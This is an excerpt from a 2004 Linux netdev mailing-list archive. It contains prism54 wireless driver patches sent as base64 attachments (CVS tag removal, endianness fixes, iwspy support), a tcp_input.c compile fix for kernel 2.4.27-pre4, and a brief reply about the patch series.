fwd06.sul.t-online.com with esmtp id 1BUWZi-0vr8zo0; Sun, 30 May 2004 22:06:30 +0200 Message-Id: <5.1.0.14.2.20040530212235.00aed870@pop.t-online.de> X-Sender: margitsw@pop.t-online.de X-Mailer: QUALCOMM Windows Eudora Version 5.1 Date: Sun, 30 May 2004 22:04:21 +0200 To: netdev@oss.sgi.com From: margitsw@t-online.de (Margit Schubert-While) Subject: [PATCH 1/17 linux-2.6.7-rc2] prism54: delete cvs tags Cc: jgarzik@pobox.com Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="=====================_50315119==_" X-Seen: false X-ID: S8GlXrZLQefyKt4gVVGkzvh10EI6MLQTjst3NbE+w5aYr+8t5sw16G X-archive-position: 5482 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: margitsw@t-online.de Precedence: bulk X-list: netdev --=====================_50315119==_ Content-Type: text/plain; charset="us-ascii"; format=flowed 2004-05-29 Margit Schubert-While * Remove CVS tags from source --=====================_50315119==_ Content-Type: application/octet-stream; name="01-remove-cvstags.patch" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="01-remove-cvstags.patch" ZGlmZiAtTmF1ciBsaW51eC0yLjYuNi9kcml2ZXJzL25ldC93aXJlbGVzcy9wcmlzbTU0L2lzbF8z OHh4LmMgbGludXgtMi42LjYtMDIvZHJpdmVycy9uZXQvd2lyZWxlc3MvcHJpc201NC9pc2xfMzh4 eC5jCi0tLSBsaW51eC0yLjYuNi9kcml2ZXJzL25ldC93aXJlbGVzcy9wcmlzbTU0L2lzbF8zOHh4 LmMJMjAwNC0wNS0xMCAwNDozMjozNi4wMDAwMDAwMDAgKzAyMDAKKysrIGxpbnV4LTIuNi42LTAy L2RyaXZlcnMvbmV0L3dpcmVsZXNzL3ByaXNtNTQvaXNsXzM4eHguYwkyMDA0LTA1LTI5IDExOjA2 OjQ2Ljk1MjQwODYyNCArMDIwMApAQCAtMSw0ICsxLDQgQEAKLS8qICAkSGVhZGVyOiAvdmFyL2xp Yi9jdnMvcHJpc201NC1uZy9rc3JjL2lzbF8zOHh4LmMsdiAxLjIyIDIwMDQvMDIvMjggMDM6MDY6 MDcgbWNncm9mIEV4cCAkCisvKgogICogIAogICogIENvcHlyaWdodCAoQykgMjAwMiBJbnRlcnNp bCBBbWVyaWNhcyBJbmMuCiAgKiAgQ29weXJpZ2h0IChDKSAyMDAzLTIwMDQgTHVpcyBSLiBSb2Ry aWd1ZXogPG1jZ3JvZkBydXNsdWcucnV0Z2Vycy5lZHU+XwpkaWZmIC1OYXVyIGxpbnV4LTIuNi42 L2RyaXZlcnMvbmV0L3dpcmVsZXNzL3ByaXNtNTQvaXNsXzM4eHguaCBsaW51eC0yLjYuNi0wMi9k cml2ZXJzL25ldC93aXJlbGVzcy9wcmlzbTU0L2lzbF8zOHh4LmgKLS0tIGxpbnV4LTIuNi42L2Ry aXZlcnMvbmV0L3dpcmVsZXNzL3ByaXNtNTQvaXNsXzM4eHguaAkyMDA0LTA1LTEwIDA0OjMzOjIy LjAwMDAwMDAwMCArMDIwMAorKysgbGludXgtMi42LjYtMDIvZHJpdmVycy9uZXQvd2lyZWxlc3Mv cHJpc201NC9pc2xfMzh4eC5oCTIwMDQtMDUtMjkgMTE6MDU6MzQuMDAwMDAwMDAwICswMjAwCkBA IC0xLDQgKzEsNCBAQAotLyogICRIZWFkZXI6IC92YXIvbGliL2N2cy9wcmlzbTU0LW5nL2tzcmMv aXNsXzM4eHguaCx2IDEuMjIgMjAwNC8wMi8yOCAwMzowNjowNyBtY2dyb2YgRXhwICQKKy8qCiAg KiAgCiAgKiAgQ29weXJpZ2h0IChDKSAyMDAyIEludGVyc2lsIEFtZXJpY2FzIEluYy4KICAqCmRp ZmYgLU5hdXIgbGludXgtMi42LjYvZHJpdmVycy9uZXQvd2lyZWxlc3MvcHJpc201NC9pc2xfaW9j dGwuYyBsaW51eC0yLjYuNi0wMi9kcml2ZXJzL25ldC93aXJlbGVzcy9wcmlzbTU0L2lzbF9pb2N0 bC5jCi0tLSBsaW51eC0yLjYuNi9kcml2ZXJzL25ldC93aXJlbGVzcy9wcmlzbTU0L2lzbF9pb2N0 bC5jCTIwMDQtMDUtMTAgMDQ6MzI6MjcuMDAwMDAwMDAwICswMjAwCisrKyBsaW51eC0yLjYuNi0w Mi9kcml2ZXJzL25ldC93aXJlbGVzcy9wcmlzbTU0L2lzbF9pb2N0bC5jCTIwMDQtMDUtMjkgMTE6 MDY6NTIuMDAyNjQwODcyICswMjAwCkBAIC0xLDQgKzEsNCBAQAotLyogICRIZWFkZXI6IC92YXIv bGliL2N2cy9wcmlzbTU0LW5nL2tzcmMvaXNsX2lvY3RsLmMsdiAxLjE0MCAyMDA0LzAyLzI4IDAz OjA2OjA3IG1jZ3JvZiBFeHAgJAorLyoKICAqICAKICAqICBDb3B5cmlnaHQgKEMpIDIwMDIgSW50 ZXJzaWwgQW1lcmljYXMgSW5jLgogICogICAgICAgICAgICAoQykgMjAwMyBBdXJlbGllbiBBbGxl YXVtZSA8c2x0c0BmcmVlLmZyPgpkaWZmIC1OYXVyIGxpbnV4LTIuNi42L2RyaXZlcnMvbmV0L3dp cmVsZXNzL3ByaXNtNTQvaXNsX2lvY3RsLmggbGludXgtMi42LjYtMDIvZHJpdmVycy9uZXQvd2ly ZWxlc3MvcHJpc201NC9pc2xfaW9jdGwuaAotLS0gbGludXgtMi42LjYvZHJpdmVycy9uZXQvd2ly ZWxlc3MvcHJpc201NC9pc2xfaW9jdGwuaAkyMDA0LTA1LTEwIDA0OjMyOjM3LjAwMDAwMDAwMCAr MDIwMAorKysgbGludXgtMi42LjYtMDIvZHJpdmVycy9uZXQvd2lyZWxlc3MvcHJpc201NC9pc2xf aW9jdGwuaAkyMDA0LTA1LTI5IDExOjA1OjQwLjAwMDAwMDAwMCArMDIwMApAQCAtMSw0ICsxLDQg QEAKLS8qICAkSGVhZGVyOiAvdmFyL2xpYi9jdnMvcHJpc201NC1uZy9rc3JjL2lzbF9pb2N0bC5o LHYgMS4zMCAyMDA0LzAxLzMwIDE2OjI0OjAwIGFqZmEgRXhwICQKKy8qCiAgKiAgCiAgKiAgQ29w eXJpZ2h0IChDKSAyMDAyIEludGVyc2lsIEFtZXJpY2FzIEluYy4KICAqICAgICAgICAgICAgKEMp IDIwMDMgQXVyZWxpZW4gQWxsZWF1bWUgPHNsdHNAZnJlZS5mcj4KZGlmZiAtTmF1ciBsaW51eC0y LjYuNi9kcml2ZXJzL25ldC93aXJlbGVzcy9wcmlzbTU0L2lzbF9vaWQuaCBsaW51eC0yLjYuNi0w Mi9kcml2ZXJzL25ldC93aXJlbGVzcy9wcmlzbTU0L2lzbF9vaWQuaAotLS0gbGludXgtMi42LjYv ZHJpdmVycy9uZXQvd2lyZWxlc3MvcHJpc201NC9pc2xfb2lkLmgJMjAwNC0wNS0xMCAwNDozMjoz OS4wMDAwMDAwMDAgKzAyMDAKKysrIGxpbnV4LTIuNi42LTAyL2RyaXZlcnMvbmV0L3dpcmVsZXNz L3ByaXNtNTQvaXNsX29pZC5oCTIwMDQtMDUtMjkgMTE6MDk6MjIuOTU0NjkyNjcyICswMjAwCkBA IC0xLDggKzEsOSBAQAogLyoKLSAqICAkSWQ6IGlzbF9vaWQuaCx2IDEuMyAyMDA0LzAzLzA5IDA5 OjA1OjI3IG1jZ3JvZiBFeHAgJAorICoKICAqICAKICAqICBDb3B5cmlnaHQgKEMpIDIwMDMgSGVy YmVydCBWYWxlcmlvIFJpZWRlbCA8aHZyQGdudS5vcmc+CiAgKiAgQ29weXJpZ2h0IChDKSAyMDA0 IEx1aXMgUi4gUm9kcmlndWV6IDxtY2dyb2ZAcnVzbHVnLnJ1dGdlcnMuZWR1PgorICogIENvcHly aWdodCAoQykgMjAwNCBBdXJlbGllbiBBbGxlYXVtZSA8c2x0c0BmcmVlLmZyPgogICoKICAqICBU aGlzIHByb2dyYW0gaXMgZnJlZSBzb2Z0d2FyZTsgeW91IGNhbiByZWRpc3RyaWJ1dGUgaXQgYW5k L29yIG1vZGlmeQogICogIGl0IHVuZGVyIHRoZSB0ZXJtcyBvZiB0aGUgR05VIEdlbmVyYWwgUHVi bGljIExpY2Vuc2UgYXMgcHVibGlzaGVkIGJ5CmRpZmYgLU5hdXIgbGludXgtMi42LjYvZHJpdmVy cy9uZXQvd2lyZWxlc3MvcHJpc201NC9pc2xwY2lfZGV2LmMgbGludXgtMi42LjYtMDIvZHJpdmVy cy9uZXQvd2lyZWxlc3MvcHJpc201NC9pc2xwY2lfZGV2LmMKLS0tIGxpbnV4LTIuNi42L2RyaXZl cnMvbmV0L3dpcmVsZXNzL3ByaXNtNTQvaXNscGNpX2Rldi5jCTIwMDQtMDUtMTAgMDQ6MzE6NTgu MDAwMDAwMDAwICswMjAwCisrKyBsaW51eC0yLjYuNi0wMi9kcml2ZXJzL25ldC93aXJlbGVzcy9w cmlzbTU0L2lzbHBjaV9kZXYuYwkyMDA0LTA1LTI5IDExOjA2OjU5LjI2NzUzNjQ0MCArMDIwMApA QCAtMSw0ICsxLDQgQEAKLS8qICAkSGVhZGVyOiAvdmFyL2xpYi9jdnMvcHJpc201NC1uZy9rc3Jj L2lzbHBjaV9kZXYuYyx2IDEuNjggMjAwNC8wMi8yOCAwMzowNjowNyBtY2dyb2YgRXhwICQKKy8q CiAgKiAgCiAgKiAgQ29weXJpZ2h0IChDKSAyMDAyIEludGVyc2lsIEFtZXJpY2FzIEluYy4KICAq ICBDb3B5cmlnaHQgKEMpIDIwMDMgSGVyYmVydCBWYWxlcmlvIFJpZWRlbCA8aHZyQGdudS5vcmc+ CmRpZmYgLU5hdXIgbGludXgtMi42LjYvZHJpdmVycy9uZXQvd2lyZWxlc3MvcHJpc201NC9pc2xw Y2lfZGV2LmggbGludXgtMi42LjYtMDIvZHJpdmVycy9uZXQvd2lyZWxlc3MvcHJpc201NC9pc2xw Y2lfZGV2LmgKLS0tIGxpbnV4LTIuNi42L2RyaXZlcnMvbmV0L3dpcmVsZXNzL3ByaXNtNTQvaXNs cGNpX2Rldi5oCTIwMDQtMDUtMTAgMDQ6MzI6MjguMDAwMDAwMDAwICswMjAwCisrKyBsaW51eC0y LjYuNi0wMi9kcml2ZXJzL25ldC93aXJlbGVzcy9wcmlzbTU0L2lzbHBjaV9kZXYuaAkyMDA0LTA1 LTI5IDExOjEwOjM4LjUwODIwNjc5MiArMDIwMApAQCAtMSw4ICsxLDkgQEAKLS8qICAkSGVhZGVy OiAvdmFyL2xpYi9jdnMvcHJpc201NC1uZy9rc3JjL2lzbHBjaV9kZXYuaCx2IDEuNTMgMjAwNC8w Mi8yOCAwMzowNjowNyBtY2dyb2YgRXhwICQKKy8qCiAgKiAgCiAgKiAgQ29weXJpZ2h0IChDKSAy MDAyIEludGVyc2lsIEFtZXJpY2FzIEluYy4gCiAgKiAgQ29weXJpZ2h0IChDKSAyMDAzIEhlcmJl cnQgVmFsZXJpbyBSaWVkZWwgPGh2ckBnbnUub3JnPgogICogIENvcHlyaWdodCAoQykgMjAwMyBM dWlzIFIuIFJvZHJpZ3VleiA8bWNncm9mQHJ1c2x1Zy5ydXRnZXJzLmVkdT4KKyAqICBDb3B5cmln aHQgKEMpIDIwMDMgQXVyZWxpZW4gQWxsZWF1bWUgPHNsdHNAZnJlZS5mcj4KICAqCiAgKiAgVGhp cyBwcm9ncmFtIGlzIGZyZWUgc29mdHdhcmU7IHlvdSBjYW4gcmVkaXN0cmlidXRlIGl0IGFuZC9v ciBtb2RpZnkKICAqICBpdCB1bmRlciB0aGUgdGVybXMgb2YgdGhlIEdOVSBHZW5lcmFsIFB1Ymxp YyBMaWNlbnNlIGFzIHB1Ymxpc2hlZCBieQpkaWZmIC1OYXVyIGxpbnV4LTIuNi42L2RyaXZlcnMv bmV0L3dpcmVsZXNzL3ByaXNtNTQvaXNscGNpX2V0aC5jIGxpbnV4LTIuNi42LTAyL2RyaXZlcnMv bmV0L3dpcmVsZXNzL3ByaXNtNTQvaXNscGNpX2V0aC5jCi0tLSBsaW51eC0yLjYuNi9kcml2ZXJz L25ldC93aXJlbGVzcy9wcmlzbTU0L2lzbHBjaV9ldGguYwkyMDA0LTA1LTEwIDA0OjMyOjAwLjAw MDAwMDAwMCArMDIwMAorKysgbGludXgtMi42LjYtMDIvZHJpdmVycy9uZXQvd2lyZWxlc3MvcHJp c201NC9pc2xwY2lfZXRoLmMJMjAwNC0wNS0yOSAxMTowNzowNS4zODA2MDcxMTIgKzAyMDAKQEAg LTEsNCArMSw0IEBACi0vKiAgJEhlYWRlcjogL3Zhci9saWIvY3ZzL3ByaXNtNTQtbmcva3NyYy9p c2xwY2lfZXRoLmMsdiAxLjI3IDIwMDQvMDEvMzAgMTY6MjQ6MDAgYWpmYSBFeHAgJAorLyoKICAq ICAKICAqICBDb3B5cmlnaHQgKEMpIDIwMDIgSW50ZXJzaWwgQW1lcmljYXMgSW5jLgogICoKZGlm ZiAtTmF1ciBsaW51eC0yLjYuNi9kcml2ZXJzL25ldC93aXJlbGVzcy9wcmlzbTU0L2lzbHBjaV9l dGguaCBsaW51eC0yLjYuNi0wMi9kcml2ZXJzL25ldC93aXJlbGVzcy9wcmlzbTU0L2lzbHBjaV9l dGguaAotLS0gbGludXgtMi42LjYvZHJpdmVycy9uZXQvd2lyZWxlc3MvcHJpc201NC9pc2xwY2lf ZXRoLmgJMjAwNC0wNS0xMCAwNDozMzoxOS4wMDAwMDAwMDAgKzAyMDAKKysrIGxpbnV4LTIuNi42 LTAyL2RyaXZlcnMvbmV0L3dpcmVsZXNzL3ByaXNtNTQvaXNscGNpX2V0aC5oCTIwMDQtMDUtMjkg MTE6MDY6MjIuMzk5MTQxMjg4ICswMjAwCkBAIC0xLDQgKzEsNCBAQAotLyogICRIZWFkZXI6IC92 YXIvbGliL2N2cy9wcmlzbTU0LW5nL2tzcmMvaXNscGNpX2V0aC5oLHYgMS41IDIwMDQvMDEvMTIg MjI6MTY6MzIgam1hdXJlciBFeHAgJAorLyoKICAqICAKICAqICBDb3B5cmlnaHQgKEMpIDIwMDIg SW50ZXJzaWwgQW1lcmljYXMgSW5jLgogICoKZGlmZiAtTmF1ciBsaW51eC0yLjYuNi9kcml2ZXJz L25ldC93aXJlbGVzcy9wcmlzbTU0L2lzbHBjaV9ob3RwbHVnLmMgbGludXgtMi42LjYtMDIvZHJp dmVycy9uZXQvd2lyZWxlc3MvcHJpc201NC9pc2xwY2lfaG90cGx1Zy5jCi0tLSBsaW51eC0yLjYu Ni9kcml2ZXJzL25ldC93aXJlbGVzcy9wcmlzbTU0L2lzbHBjaV9ob3RwbHVnLmMJMjAwNC0wNS0x MCAwNDozMjoyOS4wMDAwMDAwMDAgKzAyMDAKKysrIGxpbnV4LTIuNi42LTAyL2RyaXZlcnMvbmV0 L3dpcmVsZXNzL3ByaXNtNTQvaXNscGNpX2hvdHBsdWcuYwkyMDA0LTA1LTI5IDExOjA3OjEwLjE5 NTg3NTA4MCArMDIwMApAQCAtMSw0ICsxLDQgQEAKLS8qICAkSGVhZGVyOiAvdmFyL2xpYi9jdnMv cHJpc201NC1uZy9rc3JjL2lzbHBjaV9ob3RwbHVnLmMsdiAxLjU2IDIwMDQvMDIvMjYgMjM6MzM6 MDIgbWNncm9mIEV4cCAkCisvKgogICogIAogICogIENvcHlyaWdodCAoQykgMjAwMiBJbnRlcnNp bCBBbWVyaWNhcyBJbmMuCiAgKiAgQ29weXJpZ2h0IChDKSAyMDAzIEhlcmJlcnQgVmFsZXJpbyBS aWVkZWwgPGh2ckBnbnUub3JnPgpkaWZmIC1OYXVyIGxpbnV4LTIuNi42L2RyaXZlcnMvbmV0L3dp cmVsZXNzL3ByaXNtNTQvaXNscGNpX21ndC5jIGxpbnV4LTIuNi42LTAyL2RyaXZlcnMvbmV0L3dp cmVsZXNzL3ByaXNtNTQvaXNscGNpX21ndC5jCi0tLSBsaW51eC0yLjYuNi9kcml2ZXJzL25ldC93 aXJlbGVzcy9wcmlzbTU0L2lzbHBjaV9tZ3QuYwkyMDA0LTA1LTEwIDA0OjMyOjUzLjAwMDAwMDAw MCArMDIwMAorKysgbGludXgtMi42LjYtMDIvZHJpdmVycy9uZXQvd2lyZWxlc3MvcHJpc201NC9p c2xwY2lfbWd0LmMJMjAwNC0wNS0yOSAxMTowNzoxNC4wNjEyODc0NDggKzAyMDAKQEAgLTEsNCAr MSw0IEBACi0vKiAgJEhlYWRlcjogL3Zhci9saWIvY3ZzL3ByaXNtNTQtbmcva3NyYy9pc2xwY2lf bWd0LmMsdiAxLjQwIDIwMDQvMDIvMDEgMTA6NTc6MjMgbWNncm9mIEV4cCAkCisvKgogICogIAog ICogIENvcHlyaWdodCAoQykgMjAwMiBJbnRlcnNpbCBBbWVyaWNhcyBJbmMuCiAgKiAgQ29weXJp Z2h0IDIwMDQgSmVucyBNYXVyZXIgPEplbnMuTWF1cmVyQGdteC5uZXQ+CmRpZmYgLU5hdXIgbGlu dXgtMi42LjYvZHJpdmVycy9uZXQvd2lyZWxlc3MvcHJpc201NC9pc2xwY2lfbWd0LmggbGludXgt Mi42LjYtMDIvZHJpdmVycy9uZXQvd2lyZWxlc3MvcHJpc201NC9pc2xwY2lfbWd0LmgKLS0tIGxp bnV4LTIuNi42L2RyaXZlcnMvbmV0L3dpcmVsZXNzL3ByaXNtNTQvaXNscGNpX21ndC5oCTIwMDQt MDUtMTAgMDQ6MzI6MDIuMDAwMDAwMDAwICswMjAwCisrKyBsaW51eC0yLjYuNi0wMi9kcml2ZXJz L25ldC93aXJlbGVzcy9wcmlzbTU0L2lzbHBjaV9tZ3QuaAkyMDA0LTA1LTI5IDExOjA2OjI4LjYy MjE5NTI0MCArMDIwMApAQCAtMSw0ICsxLDQgQEAKLS8qICAkSGVhZGVyOiAvdmFyL2xpYi9jdnMv cHJpc201NC1uZy9rc3JjL2lzbHBjaV9tZ3QuaCx2IDEuMjIgMjAwNC8wMS8zMCAxNjoyNDowMCBh amZhIEV4cCAkCisvKgogICogIAogICogIENvcHlyaWdodCAoQykgMjAwMiBJbnRlcnNpbCBBbWVy aWNhcyBJbmMuCiAgKiAgQ29weXJpZ2h0IChDKSAyMDAzIEx1aXMgUi4gUm9kcmlndWV6IDxtY2dy b2ZAcnVzbHVnLnJ1dGdlcnMuZWR1PgpkaWZmIC1OYXVyIGxpbnV4LTIuNi42L2RyaXZlcnMvbmV0 L3dpcmVsZXNzL3ByaXNtNTQvb2lkX21ndC5oIGxpbnV4LTIuNi42LTAyL2RyaXZlcnMvbmV0L3dp cmVsZXNzL3ByaXNtNTQvb2lkX21ndC5oCi0tLSBsaW51eC0yLjYuNi9kcml2ZXJzL25ldC93aXJl bGVzcy9wcmlzbTU0L29pZF9tZ3QuaAkyMDA0LTA1LTEwIDA0OjMzOjIwLjAwMDAwMDAwMCArMDIw MAorKysgbGludXgtMi42LjYtMDIvZHJpdmVycy9uZXQvd2lyZWxlc3MvcHJpc201NC9vaWRfbWd0 LmgJMjAwNC0wNS0yOSAxMTowNjozOS4wODY2MDQ0MDggKzAyMDAKQEAgLTEsNCArMSw0IEBACi0v KiAgIAorLyoKICAqICBDb3B5cmlnaHQgKEMpIDIwMDMgQXVyZWxpZW4gQWxsZWF1bWUgPHNsdHNA ZnJlZS5mcj4KICAqCiAgKiAgVGhpcyBwcm9ncmFtIGlzIGZyZWUgc29mdHdhcmU7IHlvdSBjYW4g cmVkaXN0cmlidXRlIGl0IGFuZC9vciBtb2RpZnkK --=====================_50315119==_-- From margitsw@t-online.de Sun May 30 14:20:08 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 30 May 2004 14:20:10 -0700 (PDT) Received: from mailout09.sul.t-online.com (mailout09.sul.t-online.com [194.25.134.84]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4ULK7gi006507 for ; Sun, 30 May 2004 14:20:08 -0700 Received: from fwd06.aul.t-online.de by mailout09.sul.t-online.com with smtp id 1BUWcN-0000fe-00; Sun, 30 May 2004 22:09:15 +0200 Received: from margit.t-online.de (JbbAMTZrQe6z6XvyePcodVRxVmbU788OPD59yEGFl4zX5vM2uOQNZI@[80.128.220.231]) by fwd06.sul.t-online.com with esmtp id 1BUWc9-1UxM360; Sun, 30 May 2004 22:09:01 +0200 Message-Id: <5.1.0.14.2.20040530214522.00b11ab0@pop.t-online.de> X-Sender: margitsw@pop.t-online.de X-Mailer: QUALCOMM Windows Eudora Version 5.1 Date: Sun, 30 May 2004 21:55:59 +0200 To: netdev@oss.sgi.com From: margitsw@t-online.de (Margit Schubert-While) Subject: [PATCH 9/17 linux-2.6.7-rc2] prism54: Fix bugs 39/73 Cc: jgarzik@pobox.com Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="=====================_50464904==_" X-Seen: false X-ID: JbbAMTZrQe6z6XvyePcodVRxVmbU788OPD59yEGFl4zX5vM2uOQNZI X-archive-position: 5483 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: margitsw@t-online.de Precedence: bulk X-list: netdev --=====================_50464904==_ Content-Type: text/plain; charset="us-ascii"; format=flowed 2004-04-07 Margit Schubert-While * Bugs 39 and 73 --=====================_50464904==_ Content-Type: application/octet-stream; name="09-fix-bug-39-73.patch" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="09-fix-bug-39-73.patch" ZGlmZiAtTmF1ckViIGxpbnV4LTIuNi42Y3QvZHJpdmVycy9uZXQvd2lyZWxlc3MvcHJpc201NC9p c2xwY2lfZGV2LmMgbGludXgtMi42LjYtMDEvZHJpdmVycy9uZXQvd2lyZWxlc3MvcHJpc201NC9p c2xwY2lfZGV2LmMKLS0tIGxpbnV4LTIuNi42Y3QvZHJpdmVycy9uZXQvd2lyZWxlc3MvcHJpc201 NC9pc2xwY2lfZGV2LmMJMjAwNC0wNS0yOCAxNDo0MDoyNi45OTM0NTUyMDAgKzAyMDAKKysrIGxp bnV4LTIuNi42LTAxL2RyaXZlcnMvbmV0L3dpcmVsZXNzL3ByaXNtNTQvaXNscGNpX2Rldi5jCTIw MDQtMDUtMjggMTU6MDA6NTUuNzEwNjYxNzkyICswMjAwCkBAIC00MjYsOSArNDI2LDkgQEAKIAkv KiByZXNldCB0aGUgbWdtdCByZWNlaXZlIHF1ZXVlICovCiAJZm9yIChjb3VudGVyID0gMDsgY291 bnRlciA8IElTTDM4WFhfQ0JfTUdNVF9RU0laRTsgY291bnRlcisrKSB7CiAJCWlzbDM4eHhfZnJh Z21lbnQgKmZyYWcgPSAmY2ItPnJ4X2RhdGFfbWdtdFtjb3VudGVyXTsKLQkJZnJhZy0+c2l6ZSA9 IE1HTVRfRlJBTUVfU0laRTsKKwkJZnJhZy0+c2l6ZSA9IGNwdV90b19sZTE2KE1HTVRfRlJBTUVf U0laRSk7CiAJCWZyYWctPmZsYWdzID0gMDsKLQkJZnJhZy0+YWRkcmVzcyA9IHByaXYtPm1nbXRf cnhbY291bnRlcl0ucGNpX2FkZHI7CisJCWZyYWctPmFkZHJlc3MgPSBjcHVfdG9fbGUzMihwcml2 LT5tZ210X3J4W2NvdW50ZXJdLnBjaV9hZGRyKTsKIAl9CiAKIAlmb3IgKGNvdW50ZXIgPSAwOyBj b3VudGVyIDwgSVNMMzhYWF9DQl9SWF9RU0laRTsgY291bnRlcisrKSB7Cg== --=====================_50464904==_-- From mikpe@user.it.uu.se Sun May 30 14:54:59 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 30 May 2004 14:55:09 -0700 (PDT) Received: from aun.it.uu.se (root@aun.it.uu.se [130.238.12.36]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4ULsvgi008164 for ; Sun, 30 May 2004 14:54:59 -0700 Received: from harpo.it.uu.se (daemon@harpo.it.uu.se [130.238.12.34]) by aun.it.uu.se (8.12.11/8.12.10) with ESMTP id i4ULsoWj017720; Sun, 30 May 2004 23:54:50 +0200 (MEST) Received: (from mikpe@localhost) by harpo.it.uu.se (8.12.10+Sun/8.12.10) id i4ULso3l014496; Sun, 30 May 2004 23:54:50 +0200 (MEST) Date: Sun, 30 May 2004 23:54:50 +0200 (MEST) Message-Id: <200405302154.i4ULso3l014496@harpo.it.uu.se> From: Mikael Pettersson To: marcelo.tosatti@cyclades.com Subject: [PATCH][2.4.27-pre4] tcp_input.c compile-time error Cc: davem@redhat.com, linux-kernel@vger.kernel.org, netdev@oss.sgi.com X-archive-position: 5484 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: mikpe@csd.uu.se Precedence: bulk X-list: netdev net/ipv4/tcp_input.c in 2.4.27-pre4 fails to compile: tcp_input.c: In function `tcp_rcv_space_adjust': tcp_input.c:479: error: structure has no member named `sk_rcvbuf' tcp_input.c:480: error: structure has no member named `sk_rcvbuf' make[3]: *** [tcp_input.o] Error 1 The patch below appears to fix this problem, although some netdev person should probably check it. /Mikael diff -ruN linux-2.4.27-pre4/net/ipv4/tcp_input.c linux-2.4.27-pre4.tcp_input-fix/net/ipv4/tcp_input.c --- linux-2.4.27-pre4/net/ipv4/tcp_input.c 2004-05-30 23:18:16.000000000 +0200 +++ linux-2.4.27-pre4.tcp_input-fix/net/ipv4/tcp_input.c 2004-05-30 23:45:52.000000000 +0200 @@ -476,8 +476,8 @@ 16 + sizeof(struct sk_buff)); space *= rcvmem; space = min(space, sysctl_tcp_rmem[2]); - if (space > sk->sk_rcvbuf) - sk->sk_rcvbuf = space; + if (space > sk->rcvbuf) + sk->rcvbuf = space; } } From mcgrof@studorgs.rutgers.edu Sun May 30 14:55:10 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 30 May 2004 14:55:11 -0700 (PDT) Received: from ruslug.rutgers.edu (studorgs.rutgers.edu [128.6.24.131]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4ULt9gi008175 for ; Sun, 30 May 2004 14:55:09 -0700 Received: by ruslug.rutgers.edu (Postfix, from userid 503) id B647FF9D4B; Sun, 30 May 2004 17:55:08 -0400 (EDT) Date: Sun, 30 May 2004 17:55:08 -0400 To: Margit Schubert-While Cc: netdev@oss.sgi.com, jgarzik@pobox.com Subject: Re: [PATCH 1/17 linux-2.6.7-rc2] prism54: delete cvs tags Message-ID: <20040530215508.GA25094@ruslug.rutgers.edu> Mail-Followup-To: Margit Schubert-While , netdev@oss.sgi.com, jgarzik@pobox.com References: <5.1.0.14.2.20040530212235.00aed870@pop.t-online.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <5.1.0.14.2.20040530212235.00aed870@pop.t-online.de> User-Agent: Mutt/1.3.28i X-Operating-System: 2.4.18-1-686 Organization: Rutgers University Student Linux Users Group From: mcgrof@studorgs.rutgers.edu (Luis R. Rodriguez) X-archive-position: 5485 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: mcgrof@studorgs.rutgers.edu Precedence: bulk X-list: netdev On Sun, May 30, 2004 at 10:04:21PM +0200, Margit Schubert-While wrote: > 2004-05-29 Margit Schubert-While > > * Remove CVS tags from source I believe what Jeff wanted was for all the patches to have these already removed, not to remove them from the kernel tree, specifically. Oh well, let's hope these get accepted, if not I'll fix 'm up. Luis -- GnuPG Key fingerprint = 113F B290 C6D2 0251 4D84 A34A 6ADD 4937 E20A 525E From margitsw@t-online.de Sun May 30 15:30:02 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 30 May 2004 15:30:04 -0700 (PDT) Received: from mailout07.sul.t-online.com (mailout07.sul.t-online.com [194.25.134.83]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4UMU0gi009505 for ; Sun, 30 May 2004 15:30:01 -0700 Received: from fwd05.aul.t-online.de by mailout07.sul.t-online.com with smtp id 1BUWbA-0002lW-00; Sun, 30 May 2004 22:08:00 +0200 Received: from margit.t-online.de (XHw4y6Z-re+rdqrJRFDjkwUm4RXWlhgSIgfSo1YNuOH0qES1iEs8gv@[80.128.220.231]) by fwd05.sul.t-online.com with esmtp id 1BUWb7-196F280; Sun, 30 May 2004 22:07:57 +0200 Message-Id: <5.1.0.14.2.20040530213220.00afc3c0@pop.t-online.de> X-Sender: margitsw@pop.t-online.de X-Mailer: QUALCOMM Windows Eudora Version 5.1 Date: Sun, 30 May 2004 21:42:41 +0200 To: netdev@oss.sgi.com From: margitsw@t-online.de (Margit Schubert-While) Subject: [PATCH 4/17 linux-2.6.7-rc2] prism54: Add iwspy support Cc: jgarzik@pobox.com Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="=====================_50399570==_" X-Seen: false X-ID: XHw4y6Z-re+rdqrJRFDjkwUm4RXWlhgSIgfSo1YNuOH0qES1iEs8gv X-archive-position: 5486 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: margitsw@t-online.de Precedence: bulk X-list: netdev --=====================_50399570==_ Content-Type: text/plain; charset="us-ascii"; format=flowed 2004-03-18 Aurelien Alleaume * islpci_eth.c, islpci_dev.h, isl_ioctl.c : iwspy support. --=====================_50399570==_ Content-Type: application/octet-stream; name="04-add-iwspy-support.patch" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="04-add-iwspy-support.patch" ZGlmZiAtTmF1ckViIGxpbnV4LTIuNi42Y3QvZHJpdmVycy9uZXQvd2lyZWxlc3MvcHJpc201NC9p 